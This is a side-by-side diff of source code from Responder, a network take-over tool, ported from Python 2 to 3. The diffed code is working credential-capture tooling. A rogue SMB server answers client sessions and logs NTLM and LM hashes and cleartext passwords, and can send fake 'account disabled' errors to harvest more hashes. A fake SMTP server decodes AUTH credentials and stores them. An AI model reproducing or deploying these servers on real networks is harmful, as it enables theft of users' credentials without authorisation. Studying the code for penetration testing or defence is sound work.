print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) print(text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
@@ -221,7 +195,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
while True: while True:
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(1) self.request.settimeout(1)
Challenge = RandomChallenge() Challenge = RandomChallenge()
if not data: if not data:
break break
@@ -232,84 +206,86 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except: except:
raise
pass pass
##Negotiate proto answer SMBv2. ##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data): if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns() t = SMB2NegoAns()
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024)
## Session Setup 1 answer SMBv2.
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
t = SMB2NegoAns(Dialect="\x10\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
# Negotiate Protocol Response smbv1
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1 ## Session Setup 1 answer SMBv2.
if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
t = SMB2NegoAns(Dialect="\x10\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024)
## Session Setup 2 answer SMBv2.
if data[16:18] == b"\x01\x00" and data[4:5] == b"\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), SessionID=GrabSessionID(data).decode('latin-1'),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
t.calculate()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024)
# Negotiate Protocol Response smbv1
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
Body.calculate()
packet1 = str(Header)+str(Body)
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024)
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # Session Setup AndX Request smbv1
IsNT4ClearTxt(data, self.client_address[0]) IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED # STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0: if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else: else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
if Is_Anonymous(data): if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
else: else:
# Parse NTLMSSP_AUTH packet # Parse NTLMSSP_AUTH packet
@@ -317,81 +293,39 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if settings.Config.CaptureMultipleCredentials and self.ntry == 0: if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any # Send ACCOUNT_DISABLED to get multiple hashes if there are any
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
self.ntry += 1 self.ntry += 1
continue continue
# Send STATUS_SUCCESS # Send STATUS_SUCCESS
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBSession2Accept() Body = SMBSession2Accept()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request if data[8:10] == b"\x75\x00" and data[4:5] == b"\xff": # Tree Connect AndX Request
ParseShare(data) ParseShare(data)
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBTreeData() Body = SMBTreeData()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except: except:
pass pass
@@ -401,33 +335,33 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
try: try:
self.request.settimeout(0.5) self.request.settimeout(0.5)
data = self.request.recv(1024) data = self.request.recv(1024)
Challenge = RandomChallenge() Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139 if data[0] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x72\x00": #Negotiate proto answer. if data[8:10] == b"\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)),Domain="",Key=NetworkRecvBufferPython2or3(Challenge))
Body.calculate() Body.calculate()
Packet = str(head)+str(Body) Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x73\x00": #Session Setup AndX Request if data[8:10] == b"\x73\x00": #Session Setup AndX Request
if Is_LMNT_Anonymous(data): if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head)+str(SMBSessEmpty()) Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
else: else:
ParseLMNTHash(data,self.client_address[0], Challenge) ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty()) Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
self.request.close() self.request.close()

View File

@@ -16,38 +16,29 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from base64 import b64decode from base64 import b64decode
from SocketServer import BaseRequestHandler if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
class ESMTP(BaseRequestHandler): class ESMTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(SMTPGreeting())) self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "EHLO": if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
self.request.send(str(SMTPAUTH())) self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "AUTH": if data[0:4] == b'AUTH':
self.request.send(str(SMTPAUTH1())) AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
data = self.request.recv(1024) if AuthPlain:
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
if data: Username = User[0].decode('latin-1')
try: Password = User[1].decode('latin-1')
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({ SaveToDb({
'module': 'SMTP', 'module': 'SMTP',
@@ -56,7 +47,35 @@ class ESMTP(BaseRequestHandler):
'user': Username, 'user': Username,
'cleartext': Password, 'cleartext': Password,
'fullhash': Username+":"+Password, 'fullhash': Username+":"+Password,
}) })
else:
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
try:
User = list(filter(None, b64decode(data).split(b'\x00')))
Username = User[0].decode('latin-1')
Password = User[1].decode('latin-1')
except:
Username = b64decode(data).decode('latin-1')
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception: except Exception:
pass pass

View File

@@ -14,13 +14,16 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import utils import utils, sys
import ConfigParser if (sys.version_info > (3, 0)):
import configparser as ConfigParser
else:
import ConfigParser
import subprocess import subprocess
from utils import * from utils import *
__version__ = 'Responder 2.3.3.2' __version__ = 'Responder 3.0.0.0'
class Settings: class Settings:
@@ -66,13 +69,17 @@ class Settings:
def populate(self, options): def populate(self, options):
if options.Interface is None and utils.IsOsX() is False: if options.Interface is None and utils.IsOsX() is False:
print utils.color("Error: -I <if> mandatory option is missing", 1) print(utils.color("Error: -I <if> mandatory option is missing", 1))
sys.exit(-1) sys.exit(-1)
if options.Interface == "ALL" and options.OURIP == None: if options.Interface == "ALL" and options.OURIP == None:
print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1) print(utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1))
sys.exit(-1) sys.exit(-1)
#Python version
if (sys.version_info > (3, 0)):
self.PY2OR3 = "PY3"
else:
self.PY2OR3 = "PY2"
# Config parsing # Config parsing
config = ConfigParser.ConfigParser() config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
@@ -88,6 +95,7 @@ class Settings:
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File # Db File
@@ -135,29 +143,29 @@ class Settings:
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if not os.path.exists(self.Html_Filename): if not os.path.exists(self.Html_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename): if not os.path.exists(self.Exe_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# SSL Options # SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey') self.SSLKey = config.get('HTTPS Server', 'SSLKey')
self.SSLCert = config.get('HTTPS Server', 'SSLCert') self.SSLCert = config.get('HTTPS Server', 'SSLCert')
# Respond to hosts # Respond to hosts
self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
# Auto Ignore List # Auto Ignore List
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
self.AutoIgnoreList = [] self.AutoIgnoreList = []
# CLI options # CLI options
self.ExternalIP = options.ExternalIP self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect self.Wredirect = options.Wredirect
@@ -173,41 +181,41 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv) self.CommandLine = str(sys.argv)
if self.ExternalIP: if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP) self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
if self.HtmlToInject is None: if self.HtmlToInject is None:
self.HtmlToInject = '' self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
if self.Interface == "ALL": if self.Interface == "ALL":
self.Bind_To_ALL = True self.Bind_To_ALL = True
else: else:
self.Bind_To_ALL = False self.Bind_To_ALL = False
if self.Interface == "ALL": if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP) self.IP_aton = socket.inet_aton(self.OURIP)
else: else:
self.IP_aton = socket.inet_aton(self.Bind_To) self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform self.Os_version = sys.platform
# Set up Challenge # Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge') self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random': if self.NumChal.lower() == 'random':
self.NumChal = "random" self.NumChal = "random"
if len(self.NumChal) is not 16 and not "random": if len(self.NumChal) is not 16 and not "random":
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) print(utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1))
sys.exit(-1) sys.exit(-1)
self.Challenge = "" self.Challenge = ""
if self.NumChal.lower() == 'random': if self.NumChal.lower() == 'random':
pass pass
else: else:
for i in range(0, len(self.NumChal),2): for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex") self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging # Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -229,9 +237,12 @@ class Settings:
try: try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"]) NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except subprocess.CalledProcessError as ex: except:
NetworkCard = "Error fetching Network Interfaces:", ex try:
pass NetworkCard = subprocess.check_output(["ip", "address", "show"])
except subprocess.CalledProcessError as ex:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try: try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex: except subprocess.CalledProcessError as ex:
@@ -239,16 +250,19 @@ class Settings:
pass pass
try: try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"]) RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except subprocess.CalledProcessError as ex: except:
RoutingInfo = "Error fetching Routing information:", ex try:
pass RoutingInfo = subprocess.check_output(["ip", "route", "show"])
except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try: try:
utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self)) utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex: except AttributeError as ex:
print "Missing Module:", ex print("Missing Module:", ex)
pass pass
def init(): def init():

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -16,103 +16,103 @@
